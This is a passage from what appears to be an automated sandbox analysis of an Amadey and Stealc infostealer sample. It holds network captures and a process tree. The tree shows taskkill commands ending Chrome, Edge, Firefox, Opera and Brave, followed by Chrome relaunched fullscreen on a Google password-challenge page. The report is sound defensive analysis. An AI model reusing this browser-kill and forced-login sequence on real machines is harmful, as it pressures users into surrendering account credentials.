32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: EH19LTlkX06Mseb+.2Context: bbdeab9ac1e6bad9<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:32:35 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 45 48 31 39 4c 54 6c 6b 58 30 36 4d 73 65 62 2b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 62 64 65 61 62 39 61 63 31 65 36 62 61 64 39 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: EH19LTlkX06Mseb+.3Context: bbdeab9ac1e6bad9
2024-10-03 01:32:35 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:32:35 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 47 64 6d 75 6b 76 57 4a 65 30 57 76 50 37 65 30 4c 6a 68 49 4f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: GdmukvWJe0WvP7e0LjhIOQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	64717	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:34:19 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 75 64 4b 72 73 45 68 43 78 6b 61 63 4f 35 74 45 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 35 64 64 62 37 63 39 37 31 30 38 65 34 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: udKrsEhCxkacO5tE.1Context: ff5ddb7c97108e45
2024-10-03 01:34:19 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:34:19 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 75 64 4b 72 73 45 68 43 78 6b 61 63 4f 35 74 45 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 35 64 64 62 37 63 39 37 31 30 38 65 34 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: udKrsEhCxkacO5tE.2Context: ff5ddb7c97108e45<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:34:19 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 75 64 4b 72 73 45 68 43 78 6b 61 63 4f 35 74 45 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 35 64 64 62 37 63 39 37 31 30 38 65 34 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: udKrsEhCxkacO5tE.3Context: ff5ddb7c97108e45<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-03 01:34:19 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:34:19 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 73 75 69 66 54 6a 4f 65 45 47 55 43 34 4f 58 30 6c 72 53 79 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 3suifTjOeEGUC4OX0lrSyA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	64730	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:34:50 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 42 4d 35 67 79 49 32 69 52 55 47 57 76 4b 78 4e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 61 33 31 35 32 33 61 38 39 62 33 30 38 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: BM5gyI2iRUGWvKxN.1Context: 14a31523a89b3089
2024-10-03 01:34:50 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:34:50 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 42 4d 35 67 79 49 32 69 52 55 47 57 76 4b 78 4e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 61 33 31 35 32 33 61 38 39 62 33 30 38 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: BM5gyI2iRUGWvKxN.2Context: 14a31523a89b3089<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:34:50 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 42 4d 35 67 79 49 32 69 52 55 47 57 76 4b 78 4e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 61 33 31 35 32 33 61 38 39 62 33 30 38 39 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: BM5gyI2iRUGWvKxN.3Context: 14a31523a89b3089
2024-10-03 01:34:50 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:34:50 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 43 57 33 37 33 45 41 45 68 6b 75 6f 2f 55 54 55 4d 53 43 4a 4a 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: CW373EAEhkuo/UTUMSCJJA.0Payload parsing failed.

Target ID:	0
Start time:	21:26:07
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xdb0000
File size:	1'888'256 bytes
MD5 hash:	32533C2B9CC9015B81DB22713868EC75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2196541682.0000000000DB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2154412157.0000000004810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:26:10
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x580000
File size:	1'888'256 bytes
MD5 hash:	32533C2B9CC9015B81DB22713868EC75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2179762911.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2223310225.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:27:00
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x580000
File size:	1'888'256 bytes
MD5 hash:	32533C2B9CC9015B81DB22713868EC75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2679853032.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:27:08
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe"
Imagebase:	0xa60000
File size:	919'040 bytes
MD5 hash:	45C675B6790E21EACDB1F3478FCADFDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:27:08
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:27:08
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:27:08
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	21:27:08
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:27:08
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:27:08
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:27:09
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:27:09
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:27:09
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:27:09
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	21:27:11
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:27:12
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1912,i,10956692214313634026,6000861696528189421,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:27:13
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe"
Imagebase:	0xb10000
File size:	1'821'184 bytes
MD5 hash:	9230158D2D15F5F7140B53912347A845
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.2853200154.000000000131E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000003.2811437175.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.2852426482.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:27:17
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7ff6068e0000
File size:	1'888'256 bytes
MD5 hash:	32533C2B9CC9015B81DB22713868EC75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	21:27:20
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe"
Imagebase:	0xa60000
File size:	919'040 bytes
MD5 hash:	45C675B6790E21EACDB1F3478FCADFDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:27:21
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:27:21
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:27:21
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:27:21
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:27:21
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:27:21
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:27:22
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:27:22
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	21:27:22
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:27:22
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:27:23
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:27:24
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1948,i,592972262324258279,17265959936427429495,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:27:27
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xd10000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	21:27:27
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	21:27:28
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
